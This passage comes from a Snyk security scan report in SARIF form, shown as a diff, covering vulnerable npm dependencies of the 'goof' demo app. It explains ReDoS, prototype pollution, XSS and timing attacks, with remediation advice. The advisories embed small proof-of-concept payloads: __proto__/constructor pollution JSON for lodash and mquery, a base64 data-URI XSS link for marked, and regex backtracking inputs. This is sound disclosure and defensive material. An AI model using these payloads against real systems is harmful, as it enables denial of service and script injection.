problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `marked` to version 4.0.10 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/commit/c4a3ccd344b6929afa8a1d50ac54a721e57012c0)\n- [GitHub Release](https://github.com/markedjs/marked/releases/tag/v4.0.10)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "npm:marked:20180225", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in marked" + }, + "fullDescription": { + "text": "marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 150 characters long.\r\n\r\n# Disclosure Timeline\r\n* Feb 21th, 2018 - Initial Disclosure to package owner\r\n* Feb 21th, 2018 - Initial Response from package owner\r\n* Feb 26th, 2018 - Fix issued\r\n* Feb 27th, 2018 - Vulnerability published\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `marked` to version 0.3.18 or higher.\n# References\n- [GitHub Commit](https://github.com/markedjs/marked/pull/1083/commits/b15e42b67cec9ded8505e9d68bb8741ad7a9590d)\n- [GitHub PR](https://github.com/markedjs/marked/pull/1083)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-185", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-COOKIE-13271683", + "shortDescription": { + "text": "Medium severity - Arbitrary Code Injection vulnerability in cookie" + }, + "fullDescription": { + "text": "(CVE-2024-47764) cookie@0.1.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: cookie\n* Introduced through: goof@1.0.1, express@4.12.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › cookie@0.1.2\n* _Introduced through_: goof@1.0.1 › cookie-parser@1.3.3 › cookie@0.1.2\n# Overview\n\nAffected versions of this package are vulnerable to Arbitrary Code Injection cookie is a basic HTTP cookie parser and serializer for HTTP servers. The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. A similar escape can be used for path and domain, which could be abused to alter other fields of the cookie. Upgrade to 0.7.0, which updates the validation for name, path, and domain.\n# Remediation\nUpgrade `cookie` to version 1.0.0 or higher.\n# References\n- [GitHub Advisory](https://github.com/jshttp/cookie/security/advisories/GHSA-pxg6-pf52-xh8x)\n- [GitHub Commit](https://github.com/jshttp/cookie/commit/e10042845354fea83bd8f34af72475eed1dadf5c)\n- [GitHub PR](https://github.com/jshttp/cookie/pull/167)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-74", + "npm" + ], + "cvssv3_baseScore": 6.9, + "security-severity": "6.9" + } + }, + { + "id": "SNYK-JS-UGLIFYJS-1727251", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in uglify-js" + }, + "fullDescription": { + "text": "uglify-js@2.6.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: uglify-js\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5 › uglify-js@2.6.2\n# Overview\n[uglify-js](http://npmjs.com/package/uglify-js) is a JavaScript parser, minifier, compressor and beautifier toolkit.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `string_template` and the `decode_template` functions.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `uglify-js` to version 3.14.3 or higher.\n# References\n- [GitHub Commit](https://github.com/mishoo/UglifyJS/commit/157521066fc43cff2feab7ffc1ecea603617606b)\n- [GitHub Issue](https://github.com/mishoo/UglifyJS/issues/5133)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5134)\n- [GitHub PR](https://github.com/mishoo/UglifyJS/pull/5135)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "npm:ms:20151024", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in ms" + }, + "fullDescription": { + "text": "(CVE-2015-8315) ms@0.6.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ms\n* Introduced through: goof@1.0.1, humanize-ms@1.0.1 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › humanize-ms@1.0.1 › ms@0.6.2\n# Overview\n\n[ms](https://www.npmjs.com/package/ms) is a tiny milisecond conversion utility.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nattack when converting a time period string (i.e. `\"2 days\"`, `\"1h\"`) into a milliseconds integer. A malicious user could pass extremely long strings to `ms()`, causing the server to take a long time to process, subsequently blocking the event loop for that extended period.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `ms` to version 0.7.1 or higher.\n\n\n# References\n\n- [OSS security Advisory](https://www.openwall.com/lists/oss-security/2016/04/20/11)\n\n- [OWASP - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)\n\n- [Security Focus](https://www.securityfocus.com/bid/96389)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-LODASH-450202", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in lodash" + }, + "fullDescription": { + "text": "(CVE-2019-10744) lodash@4.17.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: lodash\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › lodash@4.17.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/snyk-cocoapods-plugin@2.0.1 › @snyk/cocoapods-lockfile-parser@3.0.0 › @snyk/dep-graph@1.13.1 › lodash@4.17.4\n# Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `defaultsDeep` could be tricked into adding or modifying properties of `Object.prototype` using a `constructor` payload.\r\n\r\n# PoC by Snyk\r\n```\r\nconst mergeFn = require('lodash').defaultsDeep;\r\nconst payload = '{\"constructor\": {\"prototype\": {\"a0\": true}}}'\r\n\r\nfunction check() {\r\n mergeFn({}, JSON.parse(payload));\r\n if (({})[`a0`] === true) {\r\n console.log(`Vulnerable to Prototype Pollution via ${payload}`);\r\n }\r\n }\r\n\r\ncheck();\r\n```\r\n\r\nFor more information, check out our [blog post](https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/)\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid u" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-EXPRESSFILEUPLOAD-2635697", + "shortDescription": { + "text": "Medium severity - Arbitrary File Upload vulnerability in express-fileupload" + }, + "fullDescription": { + "text": "(CVE-2022-27140) express-fileupload@0.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: express-fileupload\n* Introduced through: goof@1.0.1 and express-fileupload@0.0.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5\n# Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Arbitrary File Upload that allows attackers to execute arbitrary code when uploading a crafted PHP file.\n# Remediation\nThere is no fixed version for `express-fileupload`.\n\n# References\n- [GitHub Issue](https://github.com/richardgirges/express-fileupload/issues/312)\n- [GitHub Issue](https://github.com/richardgirges/express-fileupload/issues/316)\n- [PoC](https://www.youtube.com/watch?v=4XpofFi84KI)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-434", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-MQUERY-1050858", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in mquery" + }, + "fullDescription": { + "text": "(CVE-2020-35149) mquery@1.6.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mquery\n* Introduced through: goof@1.0.1, mongoose@4.2.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mquery@1.6.3\n# Overview\n[mquery](https://www.npmjs.org/package/mquery) is an Expressive query building for MongoDB\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `merge` function within `lib/utils.js`. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program. \r\n\r\n\r\n## PoC\r\n```\r\n require('./env').getCollection(function(err, collection) {\r\n assert.ifError(err);\r\n col = collection;\r\n done();\r\n });\r\n var payload = JSON.parse('{\"__proto__\": {\"polluted\": \"vulnerable\"}}');\r\n var m = mquery(payload);\r\n console.log({}.polluted);\r\n// The empty object {} will have a property called polluted which will print vulnerable\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the pro" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:marked:20170112", + "shortDescription": { + "text": "High severity - Cross-site Scripting (XSS) vulnerability in marked" + }, + "fullDescription": { + "text": "(CVE-2017-1000427) marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). Data URIs enable embedding small files in line in HTML documents, provided in the URL itself.\r\nAttackers can craft malicious web pages containing either HTML or script code that utilizes the data URI scheme, allowing them to bypass access controls or steal sensitive information.\r\n\r\nAn example of data URI used to deliver javascript code. The data holds `` tag in base64 encoded format.\r\n```html\r\n[xss link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\r\n```\n# Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `marked` to version 0.3.7 or higher.\n# References\n- [GitHub Commit](https://github.com/chjj/marked/commit/cd2f6f5b7091154c5526e79b5f3bfb4d15995a51)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "npm:http-signature:20150122", + "shortDescription": { + "text": "Medium severity - Timing Attack vulnerability in http-signature" + }, + "fullDescription": { + "text": "http-signature@0.10.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: http-signature\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › http-signature@0.10.1\n# Overview\r\n[`http-signature`](https://www.npmjs.com/package/http-signature) is a reference implementation of Joyent's HTTP Signature scheme.\r\n\r\nAffected versions of the package are vulnerable to Timing Attacks due to time-variable comparison of signatures. \r\n\r\nThe library implemented a character to character comparison, similar to the built-in string comparison mechanism, `===`, and not a time constant string comparison. As a result, the comparison will fail faster when the first characters in the signature are incorrect.\r\nAn attacker can use this difference to perform a timing attack, essentially allowing them to guess the signature one character at a time.\r\n\r\nYou can read more about timing attacks in Node.js on the [Snyk 